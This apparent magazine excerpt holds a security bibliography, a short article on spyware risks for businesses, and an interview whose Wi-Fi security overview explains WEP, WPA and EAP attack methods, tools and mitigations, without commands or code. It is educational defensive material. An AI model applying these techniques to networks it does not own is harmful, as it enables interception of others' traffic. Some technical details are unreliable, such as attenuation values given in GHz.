- Knapp, E D. (2011). Industrial Network Security: Securing Critical Infrastructure Networks for Smart Grid, SCADA, and Other Industrial Control Systems. Waltham, MA: Syngress, MA.
- Kramer, F. D. (ed.), et al. (2009). Cyberpower and National Security. Washington, DC: National Defense University.
- Landy, G. K. (2008). The IT/Digital Legal Companion: A Comprehensive Business Guide to Software, IT, Internet, Media, and IP Law. Burlington, MA: Syngress.
- Langer, R. (2010). Retrieved from the web at http://www.langner.com/en/blog/page/6/ on December 20, 2011.
- Libicki, M.C. (2009). Cyberdeterrence and Cyberwar. Santa Monica, CA: Rand Corporation.
- Lockhart, A. (2007). Network Security Hacks: Tips & Tools for Protecting Your Privacy, second edition. Sebastopol, CA: O'Reilly.
- Logicalis. (2011). Seven Ways to Identify a Secure IT Environment. Published at IT Business Edge in 2011. Retrieved from http://www.itbusinessedge.com/slideshows/show.aspx?c=92732&placement=bodycopy in May 5, 2011.
- Long, J., et al. (2008). Google Hacking for Penetration testers, Volume 2. Burlington, MA: Syngress Publishing, Inc.
- Long, J., et al. (2008). No Tech Hacking: A Guide to Social Engineering, Dumpster Diving, and Shoulder Surfing. Burlington, MA: Syngress Publishing, Inc.
- Markoff, J. and Kramer, A. E. (2009). U.S. and Russia Differ on a Treaty for Cyberspace. An article published in the New York Times on June 28, 2009. Retrieved from http://www.nytimes.com/2009/06/28/world/28cyber.html?pagewanted=all on June 28, 2009.
- Mayday, M. (2012). Iran Attacks US Banks in Cyber War: Attacks target three major banks, using Muslim outrage as cover. An article published on September 22, 2012 at Poltix.Topix.com. Retrieved from http://politix.topix.com/homepage/2214-iran-attacks-us-banks-in--cyber-war on September 22, 2012.
- McBrie, J. M. (2007). THE BUSH DOCTRINE: SHIFTING POSITION AND CLOSING THE STANCE. A scholarly paper published by the USAWC STRATEGY RESEARCH PROJECT. Retrieved from http://www.dtic.mil/cgi-bin/GetTRDoc?AD=ADA423774 on September 30, 2012.
- Middleton, B. (2005). Cyber Crime Investigator's Field Guide, second edition. Boca Raton, FL: Auerbach Publications.
- Mitnick, K. and Simon, W. (2002). The Art of Deception: Controlling the Human Element Security. Indianapolis, IN: Wiley Publishing, Inc.
- Mitnick, K. and Simon, W. (2006). The Art of Intrusion: The Real Stories Behind the Exploits of Hackers, Intruders & Deceivers. Indianapolis, IN: Wiley Publishing, Inc.
- Nelson, B., Et al. (2010). Guide to Computer Forensics and Investigations, fourth edition. Boston, MA: Course Technology, Cengage Learning.
- Northcutt, S. and Novak, J. (2003). Network Intrusion, third edition. Indianapolis, IN: New Riders.
- Obama, B. H. (2012). Defense Strategic Guidance 2012 – Sustaining Global Leadership: Priorities for 21st Century Defense. Published January 3, 2012. Retrieved from http://www.defense.gov/news/Defense_Strategic_Guidance.pdf on January 5, 2012.
- Obama, B.H. (2011). INTERNATIONAL STRATEGY for Cyberspace. Published by the White House on May 16, 2011. Retrieved from http://www.whitehouse.gov/sites/default/files/rss_viewer/international_strategy_for_cyberspace.pdf on May 16, 2011.
- Osborne, M. (2006). How to Cheat at Managing Information Security. Rockland, MA: Syngress.
- Parker, T., et al. (2004). Cyber Adversary Characterization: Auditing the Hacker Mind. Rockland, MA: Syngress Publishing, Inc.
- Payne, K. B. (2001). The Fallacies of Cold War Deterrence and a New Direction. Lexington, KY: The University of Kentucky Press.
- Philipp, A., et al. (2010). Hacking Exposed Computer Forensics: Secrets and Solutions, second edition. New York, NY: McGraw-Hill.
- Pry, P. V. (1999). War Scare: Russia and America on the Nuclear Brink. Westport, CT: Praeger Publications.
- Radcliff, D. (2012). Cyber Cold War. An article published in the SC Magazine, September 2012 issue.
- Radcliff, D. (2012). Cyber cold war: Espionage and warfare. An article published in SC Magazine, September 4, 2012. Retrieved from http://www.scmagazine.com/cyber-cold-war-espionage-and-warfare/article/254627/ on September 7, 2012.
- Reynolds, G. W. (2012). Ethics in Information Tehnology, 4th edition. Boston, MA: Course Technology.

- Reynolds, G. W. (2012). Ethics in Information Tehnology, 4th edition. Boston, MA: Course Technology.
- Rogers, R., et al. (2008). Nessus Network Auditing, second edition. Burlington, MA: Syngress.
- Rosenbaum, R. (2011). How the End Begins: The Road to a Nuclear World War III. New York, NY: Simon and Schuster.
- RT. (2012). Iran may launch pre-emptive strike on Israel, conflict could grow into WWIII – senior commander. An article published at RT.com on September 23, 2012. Retrieved from http://rt.com/news/iran-strike-israel--world-war-803/ on September 24, 2012.
- Sanger, D. E. (2012). Confront and Coneal: Obama's Secret Wars and Surprising Use of America Power. New York, NY: Crown Publishers.
- Schell, B. H., et al. (2002). The Hacking of America: Who-'s Doing It, Why, and How. Westport, CT: Quorum Press.
- Schlesinger, J. (2012). Chinese Espionage on the Rise in US, Experts Warn. An article published at CNBC.com on July 9, 2012. Retrieved from http://www.cnbc.com/id/48099539 on July 10, 2012.
- Schmidt, H. S. (2006). Patrolling Cyberspace: Lessons Learned from Lifetime in Data Security. N. Potomoc, MD: Larstan Publishing, Inc.
- Schmitt, E. and Shanker, T. (2011). U.S. Debated Cyberwarfare in Attack Plan on Libya. An article published in the New York Times on October 17, 2011. Retrieved from http://www.nytimes.com/2011/10/18/world/africa/cyber-warfare-against-libya-was-debated-by-us.html on October 17, 2011.
- Seagren, E. (2007). Secure Your Network for Free: Using NMAP, Wireshark, SNORT, NESSUS, and MRTG. Rockland, MA: Syngress.
- Seagren, E. (2007). Secure Your Network for Free: Using NMAP, Wireshark, SNORT, NESSUS, and MRTG. Rockland, MA: Syngress.
- SEM. (2011). The Hacker's Underground. Retrieved from http://serpentsembrace.wordpress.com/2011/05/17/the-hackers-underground/ on September 21, 2012.
- Simpson, M. T., et al. (2011). Hands-On Ethical Hacking and Network Defense. Boston, MA: Course Technology.
- Skpudis, E. and Liston, T. (2006). Counter Hack Reloaded: A Step-by-Step Guide to Computer Attacks and Effective Defenses, second edition. Upper Saddle River, NJ: Prentice-Hall.
- Soloman, M. G., et al. (2011). Computer Forensics Jump Start, second edition. Indianapolis, IN: Wiley Publishing, Inc.
- Stallings, W. (2011). Network Security Essentials: Applications and Standards, fourth edition. Boston, MA: Prentice Hall.
- Stiennon, R. (2010). Surviving Cyber War. Lanham, MA: Government Institutes.
- Strohm, C. and Engleman, E. (2012). Cyber Attacks on U.S. Banks Expose Vulnerabilities. An article published at BusinessWeek..com on September 28, 2012 Retrieved from http://www.businessweek.com/news/2012-09-27/cyber-attacks-on-u-dot-s-dot-banks-expose-computer-vulnerability on September 30, 2012.
- Technolytics. (2011). Cyber Commander's eHandbook: The Weaponry and Strategies of Digital Conflict. Purchased and downloaded from Amazon.com on April 16, 2011.
- The Hacker's Underground. An article published at the Serpent's Embrace blog. Retrieved from http://serpentsembrace.wordpress.com/tag/honker-union-of-china/ on September 21, 2012.
- Trost, R. (2010). Praaactical Intrusion Analysis: Prevention and Detection for the Twenty-First Century. Boston, MA: Addison-Wesley.
- Vacca, J. R. (2002). Computer Forensics: Computer Crime Scene Investigation. Hingham, MA: Charles River Media.
- van Wyk, K. R. and Forno, R. (2001). Incident Response. Cambridge, MA, CA: OReilly.
- Verizon. (2012). The 2012 Verizon Data Breach Investigations Report. Retrieved from http://www.verizonbusiness.com/resources/reports/rp_data-breach-investigations-report-2012_en_xg.pdf on September 17, 2012.
- Version. (2012). The 2012 Verizon Data Breach Investigations Report. Retrieved from http://www.verizonbusiness.com/resources/reports/rp_data-breach-investigations-report-2012_en_xg.pdf on September 17, 2012.
- Volonino, L. and Anzaldua, R. (2008). Computer Forensics for Dummies. Hoboken, NJ: Wiley Publishing, Inc.
- Waters, G. (2008). Australia and Cyber-Warfare. Canberra, Australia: ANU E Press.
- Whitman, M. E. and Mattord, H. J. (2007). Principles of Incident Response & Disaster Recovery. Boston, MA: Course Technology – Cengage Learning.
- Wikipedia Commons. (2011). Stuxnet Diagram. Retrieved from the web at http://en.wikipedia.org/wiki/File:Step7_communicating_with_plc.svg on December 20, 2011.
- Wiles, J., et al. (2007). Low Techno Security's Guide to Managing Risks: For IT Managers, Auditors, and Investigators. Burlington, MA: Syngress Publishing, Inc.
- Wiles, J., et al. (2012). Low Tech Hacking: Street Smarts for Security Professionals. Waltham, MA: Syngress Publishing, Inc.
- Wilhelm, T. and Andress, J. (2011). Ninja Hacking: Unconventional Penetration Testing Tactics and Techniques. Burlington, MA: Syngress Publishing, Inc.
- Zalewski, M. (2005). Silence on the Wire: A Field Guide to Passive Reconnaissance and Indirect Attacks. San Francisco, CA: No Starch Press.
- Zetter, K. (2011). How Digital Detectives Deciphered Stuxnet, the Most Menacing Malware in History. An article published on July 11, 2011 at Wired.com. Retrieved from the web at http://www.wired.com/threatlevel/2011/07/how-digital-detectives-deciphered-stuxnet/all/1 on December 20, 2011.
- Zittrain, J. (2012). Professor Zittrain Q&A Hacktivism: Anonymous, lulzsec, and Cybercrime in 2012 and Beyond. A YouTube video. Retrieved from http://www.youtube.com/watch?v=CfxY8nmU&feature=related on September 21, 2012.

WILLIAM F. SLATER III

William F. Slater, III, MBA, M.S., PMP, CISSP, SSCP, CISA, ISO 27002, ISO 20000

President, Slater Technologies, Inc.

Spyware

Your Business Cannot Afford It

Certainly, your business is important to you, your employees, your stock holders and your customers. Your computer systems, servers, and netwo,rk storage devices contain tons of vital information such as inventory, tax records, payroll and, most importantly, your customers' credit card information.

Security and a fully effective firewall for your networks and email servers/clients is a great imrovement, but are you protected against a larger threat than a simple virus breech in security – spyware?

During his regular day at work, John, your assistant, checks his emails and while doing so, clicks on the links attached to the e-mails he feels may be innocent. Nothing happens or he's directed to a 404 page and he thinks nothing of it, but in the background, he has actually given access to someone by downloading spyware without knowing it.

Spyware is a type of malware (malicious software) that while installed on a computer, collects information about the user without their knowledge. The presence of spyware is typically hidden from the user and can be difficult to detect. Some spyware, such as keyloggers, may be installed by the owner of a shared, corporate, or public computer intentionally in order to monitor users.

Spyware is frequently installed using Microsoft's Internet Explorer due to its popularity and history of security gaps, holes, and breech ability. The Windows environment and the ability to deeply imbed itself into the system without detection make this the ideal operating system. The PC is still very dominant in the business world, as well as home user environment, and 71% of businesses are still using the Windows XP operating system, which is no longer supported.

Spyware is not the same as a virus or a worm and does not spread in the same way. Instead, spyware installs itself on a system by deceiving the user or by exploiting software vulnerabilities. A spyware program rarely exists alone on a computer: an affected machine usually has multiple infections. Users frequently notice unwanted behavior such as hyperlinks appearing within emails, text, and web search results, as well as new toolbars that they did not actually download and install.

So how can you be proactive and protect your business and data? A spyware infection can be very costly and when multiple infections occur the only fully effective remedy may be to copy your user settings and reinstall your operating system. For instance, some spyware cannot be completely removed by Symantec, Microsoft, or PC Tools.

First, make sure you have a high quality fully updated Virus protection program installed on all of your computers, and also don't forget to install security software on smartphones that may have a VPN connection to your network. Finally, schedule daily, weekly, or monthly scans.

Major anti-virus firms such as Symantec, PC Tools, McAfee, and Sophos have also added anti-spyware features to their existing anti-virus products. Early on, anti-virus firms expressed reluctance to add anti-spyware functions, citing lawsuits brought by spyware authors against the authors of web sites and programs which described their products as "spyware." However, recent versions of these major firms' home and business anti-virus products do include anti-spyware functions, albeit treated differently from viruses. Symantec Anti-Virus, for instance, categorizes spyware programs as "extended threats" and now offers real-time protection against these threats (1). Other programs such as Spy Bot and Malware Bytes are also highly recommended.

The most important step you can take is education. Make sure you train your staff on what spyware is, implement an internet policy (if not already installed), and look into access control software such as websense to restrict sites that may cause harm.

LOUIS CORRA

Production Supervisor at Pride Mobility and Owner of NEPA Computer Consulting. Working in the IT area since 2004, he gained a lot of experience and skillset. He specializes in Microsoft Office, Windows Server, and Network setup and design. He also has an over 15 year experience in Emergency Medical Services.

a d v e r i s e m e n t

An Interview with Cristian Critelli

My name is Cristian Critelli, I was born in Rome and I have always been passionate about security and hacking. I work as "Level 3 Escalation Engineer" at Riverbed Technology Inc., and am part of the EMEA TAC Support Team, dealing with many different issues on a daily basis.
The nature of my work requires me to understand many types of technology, such as WAN Optimization, SaaS, In-depth Microsoft and Linux Server Administration, Storage Area Networks, Routing and Switching, Firewalls, Virtualization, Wired and Wireless Security and many other disciplines. Because of how my company "optimizes" network traffic, I often perform "deep-dive analysis of numerous protocols, such as TCP, IP, NFS, CIFS/SMB, MAPI…. The list goes on!
To get to where I am today, I have been studying and working in the IT field for over 14 years. In my previous roles, typically engaged as a Senior Network or Support Engineer, I work with different companies, in many different environments.
This broad experience enables me to remain calm and focused when working under pressure. Providing the best possible outcome to maintain customer satisfaction is of paramount importance. I have also been the winner of the Network Engineer Public Competition (based on written and practical examinations) organized by Consortium G.A.R.R., Rome, ITALY.
During my free time I enjoy studying hacking techniques, mainly focused on the network rather than software hacking. I continually study different technologies in order to improve my knowledge.
In my spare time I play piano and violin as well as training every day as a Muay Thai fighter and bodybuilder.

Present your company and yourself within its structures.

Software applications and protocols drive the business world. They are relied upon for email, documentation, monitoring, control systems, to reach customers, build products, automate back-end business processes, and perform almost every task critical to business. So application performance and availability not only make users happy – they're also the most visible indicators that IT is doing its job right. That's why many of the world's leading organizations rely on Riverbed products to make sure that they have fast and reliable applications.

Riverbed products and solutions include WAN optimization (or WAN "acceleration"), content delivery, and block-storage acceleration, enabling IT to both manage, visualize and accelerate performance.

Riverbed was founded in 2002 and shipped its first Steelhead WAN optimization appliance in 2004. Steelhead has been named an InfoWorld "Technology of the Year-WAN Accelerators" for five years running (2005, 2006, 2007, 2008, 2009 and 2011).

Riverbed's 2,400 employees now serve more than 20,000 customers worldwide, including nine of the Fortune 100 and 80% of the Global 100.

I am proud to work for Riverbed Technology as part of the EMEA TAC Support Team, supporting all of our customers in Europe.

What does your company deal with?

Riverbed enables organisations to understand, monitor and enhance their data and networks within an organization, or with a cloud provider. Riverbed has a number of solution areas that cover the following: WAN optimization, performance management, application delivery and storage delivery.

What methods do you use at your work? Could you describe them shortly?

Wi-Fi Abstract and Introduction

Technology is making very rapid progress. Recent improvements have enabled the RF spectrum to become a viable access method. Speeds have improved and security is less of a concern. We now use the RF spectrum for voice, video and data. Furthermore the increased usage of smart phones and tablets has ensured that Wi-Fi is now the accepted method for accessing cyberspace.

For those that do now already know, Wi-Fi, is an abbreviation for "Wireless Fidelity". Wi-Fi can be described as a set of product compatibility standards for Wireless Local Area Networks (WLAN) – based on the IEEE 802.11 specifications.

Wi-Fi uses high-frequency radio signals to transmit Ethernet frames over a short distance. The placement of Wireless "access points" requires careful consideration due to the nature of the media.

Unlike Wired networks where signals attenuate in a linear fashion, the strength of a Wireless network becomes worse over distance, much like the strength of a torch beam shone into the night sky. For every doubling of distance the strength of the signal is 8 times weaker!

The Attenuation in dB is further increased when signals need to travel through objects. For example in the 2.4GHZ spectrum, a cubicle wall can attenuate the signal by 2-5GHz whereas a brick wall attenuates at around 6-10GHz. Steel doors are as high as 13-19GHz.

Apart from physical obstructions, other factors affecting performance are interference with other devices using the RF spectrum (mobile phones, microwave ovens and other wireless devices operating in or close to your channel), network load, signal reflection, the power output of your transmitter (these power outputs are also regulated by the FCC in the United States and OFCOM in the UK and by other regulators in other parts of the world).

Wireless networks are "shared media", meaning only one device can use the Ethernet at any given time. So when you have a room full of people using tablets, smartphones and games devices and so on, this will affect performance and access to the media.

History

Before 1999, there were several different wireless technologies. These were incompatible so the internetworking was a challenge and often not possible. The development of an De-Jure technical standard (IEEE 802.11) drafted by the Institute of Electrical and Electronic Engineers, known as "I-triple E") along with an industry-wide alliance organization (the Wi-Fi Alliance), eliminated this problem. Almost immediately following ratification of IEEE 802.11 and the founding of the Wi-Fi Alliance, every major networking company and computer hardware manufacturer developed and brought Wi-Fi products to market.

The earlier specifications for Wireless networking (802.11b) used a maximum data rate of 11 Mbps, operating in the 2.4 GHz RF band. This was comparable to the speed most wired networks at the time connected over wired networks. However 11Mbps was rarely attained due to packet overhead and some of the limiting factors described above.

The latest incarnation of the 802.11 standards is 802.11n. These devices, brought to market in 2009, have a maximum connect rate of 600 Mbps and are able to use both 2.4 GHz and 5 GHz bands.

Besides creating a common, compatible, interoperable standard, each new generation of products are backward-compatible with their previous generations. According to research from the Dell'Oro Group, the market is growing from 20% to 40% per quarter thanks to standards and compatibility.

Wi-Fi Technology

The Unlicensed Frequency Bands

Wi-Fi products operate over radio waves, in the same way as your cell phone, garage door opener, TV, radio, GPS navigation system or microwave oven. All of these products operate in a specific slice, or frequency band, of the radio spectrum.

Radio Band Examples

- AM broadcast band (530-1610 kHz)
- Shortwave bands (5.9-26.1 MHz)
- Citizens' band (26.965-27.405 MHz)
- Television channels 2-6 (54-88 MHz)
- FM broadcast band (88-108 MHz)
- Wi-Fi (2.4GHz or 5GHz)

Wi-Fi products operate in the 2.4GHz or 5GHz bands. These bands are designated as "license-free", which indicates that individuals may use products designed for these bands without a government license, such as those that are granted to TV or radio transmissions within licensed bands. Because the Wi-Fi bands are "license free", it becomes more important for manufacturers to ensure that their products pass the standards of interoperability set by the Wi-Fi certifications.

Network security

Wireless network security is important. Access to the Ethernet is less easily controlled and policed when compared to traditional physical wired networks. With wired networking one must either gain access to a building (physically connecting into the internal network) to "tap" into the wire. To access a WLAN one merely needs to be within the operating range of the RF signal. Most business networks protect sensitive data and systems by attempting to disallow external access. Enabling wireless connectivity greatly reduces security and provides a simple attack vector if the network uses inadequate security or uses no encryption.

Securing methods

A common measure to deter unauthorised users involves "hiding" the access by disabling the SSID broadcast. Another method is to only allow computers with known MAC addresses to join the network, but determined eavesdroppers may be able to join the network by spoofing an authorised address. Wired Equivalent Privacy (WEP) encryption was designed to protect against casual snooping but it is no longer considered secure. Tools such as AirSnort or Aircrack-ng can quickly recover WEP encryption keys. Because of WEP's weakness the Wi-Fi Alliance endorsed Wi-Fi Protected Access (WPA) which uses Temporal Key Integrity Protocol or TKIP. This was ratified under the IEEE802.11i standard. The final version of TKIP WPA introduced the Advanced Encryption Standard (AES) block cipher and was named "WPA2".

WPA2 is fully compatible with WPA. A flaw in a feature added to Wi-Fi in 2007, called Wi-Fi Protected Setup (WPS), allows WPA and WPA2 security to be bypassed and effectively broken in many situations. The only remedy as of late 2011 is to turn off Wi-Fi Protected Setup, which is not always possible.

WEP Security and Attacks

Because the older WEP used the RC4 encryption algorithm, this is referred to as a "stream cipher". A stream cipher operates by expanding a short key into an infinite pseudo-random key stream. The sender XORs the key stream with the plaintext to produce ciphertext. The receiver has a copy of the same key, and uses it to generate identical key stream. XORing the key stream with the ciphertext yields the original plaintext.

This mode of operation makes stream ciphers vulnerable to several attacks. If an attacker flips a bit in the ciphertext, then upon decryption, the corresponding bit in the plaintext will be flipped. Also, if an eavesdropper intercepts two ciphertexts encrypted with the same key stream, it is possible to obtain the XOR of the two plaintexts. Knowledge of this XOR can enable statistical attacks to recover the plaintexts. The statistical attacks become increasingly practical as more ciphertexts that use the same key stream are known. Once one of the plaintexts becomes known, it is trivial to recover all of the others.

WEP has defences against both of these attacks. To ensure that a packet has not been modified in transit, it uses an Integrity Check (IC) field in the packet. To avoid encrypting two ciphertexts with the same key stream, an Initialization Vector (IV) is used to augment the shared secret key and produce a different RC4 key for each packet. The IV is also included in the packet. However, both of these measures are implemented incorrectly, resulting in poor security.

The integrity check field is implemented as a CRC-32 checksum, which is part of the encrypted payload of the packet. However, CRC-32 is *linear*, which means that it is possible to compute the bit difference of two CRCs based on the bit-differ-

ence of the messages over which they are taken. In other words, flipping bit n in the message results in a deterministic set of bits in the CRC that must be flipped to produce a correct checksum on the modified message. Because flipping bits carries through after an RC4 decryption, this allows the attacker to flip arbitrary bits in an encrypted message and correctly adjust the checksum so that the resulting message appears valid.

The initialization vector in WEP is a 24-bit field, which is sent in the clear-text part of a message. Such a small space of initialization vectors *guarantees* the reuse of the same key stream. A busy access point, which constantly sends 1500 byte packets at 11Mbps, will exhaust the space of IVs after 1500*8/(11*10^6)*2^24 = ~18000 seconds, or 5 hours. (The amount of time may be even smaller, since many packets are smaller than 1500 bytes.) This allows an attacker to collect two cipher-texts that are encrypted with the same key stream and perform statistical attacks to recover the plaintext. Worse, when the same key is used by all mobile stations, there are even more chances of IV collision. For example, a common wireless card from Lucent resets the IV to 0 each time a card is initialized, and increments the IV by 1 with each packet. This means that two cards inserted at roughly the same time will provide an abundance of IV collisions for an attacker.

Attacks

Passive Attack to Decrypt Traffic

The first attack follows directly from the above observation. A passive eavesdropper can intercept all wireless traffic, until an IV collision occurs. By XORing two packets that use the same IV, the attacker obtains the XOR of the two plaintext messages. The resulting XOR can be used to infer data about the contents of the two messages. IP traffic is often very predictable and includes a lot of redundancy. This redundancy can be used to eliminate many possibilities for the contents of messages. Further educated guesses about the contents of one or both of the messages can be used to statistically reduce the space of possible messages, and in some cases it is possible to determine the exact contents.

When such statistical analysis is inconclusive based on only two messages, the attacker can look for more collisions of the same IV. With only a small factor in the amount of time necessary, it is possible to recover a modest number of messages encrypted with the same key stream, and the success rate of statistical analysis grows quickly. Once it is possible to recover the entire plaintext for one of the messages, the plaintext for all other messages with the same IV follows directly, since all the pairwise XORs are known. An extension to this attack uses a host somewhere on the Internet to send traffic from the outside to a host on the wireless network installation. The contents of such traffic will be known to the attacker, yielding known plaintext. When the attacker intercepts the encrypted version of his message sent over 802.11, he will be able to decrypt all packets that use the same initialization vector.

Active Attack to Inject Traffic

The following attack is also a direct consequence of the problems described in the previous section. Suppose an attacker knows the exact plaintext for one encrypted message. He can use this knowledge to construct correct encrypted packets. The procedure involves constructing a new message, calculating the CRC-32, and performing bit flips on the original encrypted message to change the plaintext to the new message. The basic property is that RC4(X) xor X xor Y = RC4(Y). This packet can now be sent to the access point or mobile station, and it will be accepted as a valid packet.

A slight modification to this attack makes it much more insidious. Even without complete knowledge of the packet, it is possible to flip selected bits in a message and successfully adjust the encrypted CRC (as described in the previous section), to obtain a correct encrypted version of a modified packet. If the attacker has partial knowledge of the contents of a packet, he can intercept it and perform selective modification on it. For example, it is possible to alter commands that are sent to the shell over a telnet session, or interactions with a file server.

Active Attack from Both Ends

The previous attack can be extended further to decrypt arbitrary traffic. In this case, the attacker makes a guess about not the contents, but rather the headers of a packet. This information is usually quite easy to obtain or guess; in particular, all that is necessary to guess is the destination IP address. Armed with this knowledge, the attacker can flip appropriate bits to transform the destination IP address to send the packet to a machine he controls, somewhere in the Internet, and transmit it using a rogue mobile station.

Most wireless installations have Internet connectivity; the packet will be successfully decrypted by the access point and forwarded *unencrypted* through appropriate gateways and routers to the attacker's machine, revealing the plaintext. If a guess can be made about the TCP headers of the packet, it may even be possible to change the destination port on the packet to be port 80, which will allow it to be forwarded through most firewalls.

Table-based Attack
The small space of possible initialization vectors allows an attacker to build a decryption table. Once he learns the plaintext for some packet, he can compute the RC4 key stream generated by the IV used. This key stream can be used to decrypt all other packets that use the same IV. Over time, perhaps using the techniques above, the attacker can build up a table of IVs and corresponding key streams. This table requires a fairly small amount of storage (~15GB); once it is built, the attacker can decrypt every packet that is sent over the wireless link.

WPA/TKIP
TKIP is designed to allow WEP to be upgraded. This means that all the main building blocks of WEP are present, but corrective measures have been added to address security problems.

Key Management and updating is poorly provided for in WEP Secure key management is built-in to WPA, so key management isn't an issue with WPA. Message integrity checking is ineffective and WEP message integrity proved to be ineffective. WPA uses a Message Integrity Check (MIC) called, Michael!

Due to the hardware constraints the check has to be relatively simple. In theory there is a one in a million chance of guessing the correct MIC. In practice any changed frames would first need to pass the TSC and have the correct packet encryption key even to reach the point where Micheal comes into operation. As further security Michael can detect attacks and performs countermeasures to block new attacks.

WPA (TKIP) is a great solution, providing much stronger security than WEP, addressing all the weaknesses and allowing compatibility and upgrades with older equipment.

WPA2/TKIP/AES
WPA2 is the final result of the work done under 802.11i, and it replaces WPA. WPA2 implements the mandatory components of 802.11i. It provides government grade security by implementing the National Institute of Standards and Technology (NIST) FIPS 140-2 compliant AES (Advanced Encryption Standard) encryption algorithm.

There are two version of WPA2--the enterprise and personal versions. The personal version is also known as Pre-Shared Key mode. It is designed for home or locations where it may be impractical to deploy authentication servers (such as RADIUS or TACACS+).

- WPA2 uses 256-bit key, entered as 64 HEX digits or as a passphrase of 8 to 63 ASCII characters.
- The enterprise version uses authentication servers and provides support for additional EAP (Extensible Authentication Protocol) types, in addition to EAP-TLS (Transport Layer Security).

WEP Attacks
Wired Equivalent Privacy (WEP) is relatively trivial to defeat and numerous attacks exist which can either decrypt WEP protected packets or recover the WEP key. WEP has been broken for more than 10 years and should never really be used to secure a wireless network. Documented methods for breaking WEP include:

- FMS: which takes advantage of the predictability of the first few bytes of packets. On a busy network the key can be recovered in couple of minutes.
- KoreK: which uses a similar approach to the FMS attack but requires fewer packets
- PTW: Requires fewer packets than previous attacks
- ChopChop: which can decrypt data packets without the need to recover the key.

Extensible Authentication Protocol (EAP) Attacks
EAP authentication flooding works by a client, or multiple clients, flooding a protected wireless network with EAP authentication requests. This can have the effect of performing a "Denial of Service" (DoS) on the authentication server if it is unable to handle the volume of authentication requests from the client!

This attack is mitigated by implementing a temporary block (of say, 60 seconds) after maybe three failed attempts by a client trying to authenticate using EAP. This mitigation also prevents attempts by clients to brute force attack the user credentials.

As well as authentication flooding, clients can try to use various EAP packets to induce a DoS attack:

- Some APs can be crashed by flooding the AP with EAPOL-Start frames. Most modern equipment should not be susceptible to this attack.
- Some APs can be DoS attacked by the attacker cycling through the EAP Identifier space (0 – 255). Modern APs should not be susceptible to this attack as the EAP Identifier space is only unique to the 802.11 association, with each association having its own EAP Identifier space.

Cipher Attacks
WPA-PSK Dictionary Attack
Whilst the security mechanisms in Wi-Fi Protected Access (WPA) and WPA2 make the protocol secure

there is a weak point in the system: the passphrase. Users configuring WPA/WPA2 passphrases often choose short, dictionary based passphrases leaving them susceptible to attack. Attackers can capture packets during the key exchange phase of a client joining a wireless network then perform an offline dictionary attack to obtain the WPA/WPA2 passphrase.

WPA/TKIP

It is possible to decrypt packets which have been protected using Wi-Fi Protected Access/Temporal Key Integrity Protocol (WPA/TKIP). The TKIP attack works in a similar way to the WEP chop chop attack and can provide the clear-text data, but does not expose the key.

This attack can be mitigated with a short rekeying time (120 seconds or less). However, the recommend solution would be to dispense with WPA and instead use WPA2/AES.

802.1X / EAP

Whilst a properly implemented WPA/WPA2 Enterprise network using 802.1X authentication is secure and not highly vulnerable to a man-in-the-middle attack, many of the actual *clients* are incorrectly configured, leaving them susceptible to an attack. The vulnerability arises from the use of a certificate to verify the RADIUS or TACACS+ server.

Many clients will configure their device so that it does not reject certificates provided by the RADIUS server. These may be signed by the wrong certificate authority and/or have the wrong common name. To ensure they are not vulnerable when authenticating to their wireless network, clients should only accept certificates from the correct certificate authority with the correct common name.

By accepting any certificate, a malicious AP can use either a self-signed certificate or a certificate signed by the correct certificate authority (if a public certificate authority is used) to intercept credentials. Often an attacker will send a de-authentication frame to a client that is already authenticated to a genuine AP, forcing it to re-associate.

Eavesdropping

Open Network

On an open wireless network, it is trivial to capture packets in the air as they are sent in the clear.

WPA/WPA2-PSK

It is a common misconception that because data is encrypted on a WPA or WPA2-PSK client, it is protected from snooping by other users. Unfortunately this is not the case. Since every client uses the same pre-shared passphrase, they can decrypt another user's packets. This is not true for WPA and WPA2 Enterprise where each user has an individual, rotating, key sent from the RADIUS server.

Captive Portal

Once a client is logged in to a captive portal, unless protected by other means (such as a Virtual Private Network (VPN)) users may be under the misconception that because they have had to authenticate, their data is secure. However, their raffic is still sent in clear-text, meaning that all the wireless traffic of an authenticated client can easily be "sniffed" using packet capture software such as Wireshark.

Conclusion

Whilst a number of different attacks exist for wireless networks many of these can be mitigated through the use of existing technologies and best practice. My advice is to use of protected management frames e.g. 802.11w, some other risks can be reduced using the 802.1x authentication protocol and instructing the users about the need to check the validity of the certificate provided to them, also the most important thing for me is the use of WPA2/AES encryption combined with 802.1x authentication system. Consider also using MAC address filtering, which is is a good way to mitigate some attacks or at least to make life harder for malicious hackers. To summarize:

- Use WPA/WPA2 encryption. Avoid using Open or WEP-encrypted Wi-Fi;
- Use very strong passwords;
- Change default password and DO NOT broadcast your SSID but enter it manually during configuration on other devices;
- Keep your AP firmware up-to-date;
- Use always MAC Address Filtering Features;
- DO NOT use Wireless Protection Setup;
- Use of WPA2/AES combined with 802.1x authentication protocol;
- Use of protected management frames e.g. 802.11w.

Remember that today there is NO wireless network that can be certified as 100% secure – there are so many well documented methods to hack Wi-Fi networks and there will always be hackers ready to experiment or improve their skills.

I have only really touched the surface, describing but a few methods of attack and defence. There can never really be enough space or time to cover this subject in its entirety!

So for now I will leave it with you and hope you enjoyed reading through this.

What services do you provide?

Riverbed provide a portfolio of solutions that fall into two categories:

- Discovery, monitoring and diagnosis of all aspects of our client's IT infrastructure, spanning devices, networks and applications. So we can understand, highlight and report on the IT and users experience reposing right down to detail on the application performance and its code.
- Performance improvement across the WAN, web and into data centres and to the cloud.

The specific products lines are:

- WAN performance: acceleration and optimisation;
- Application Delivery Controllers: Load balancing, web page acceleration and application level fire walls;
- Cloud Storage Gateway: de-duplicates and stores data for storage in the cloud;
- Branch virtual storage: removes the need for physical storage in the branch;
- Network performance management: reporting and monitoring of the network and interrogating packets;
- Application performance management: reporting and monitoring across corporate applications and user experience.

What are your target clients?

Any organisation that uses data to communicate between itself, its partners and/or its clients, could benefit from Riverbed's performance tools. However enterprise organisations that have multiple sites located in disparate locations will enjoy the greatest improvements.

Do you look for new employees? If so, What kind of candidates do you look for?

As a large organisation, Riverbed employs a host of professionals that span a variety of technical an non-technical roles. Typically employees should be able operate in a dynamic 'can-do' environment and demonstrate an agility that reflects the business environment where we operate.

What distinguishes you from other companies?

Riverbed prides itself on being innovators and market leaders, in every aspect of the market we operate within. For example, Riverbed arguably has been the creator of, and has been at the forefront of, the WAN optimization area. We are the market leaders in this space, according to Gartner, with a 52% market share, and recognized as having the best 'ability to execute' and the best 'completion of vision'.

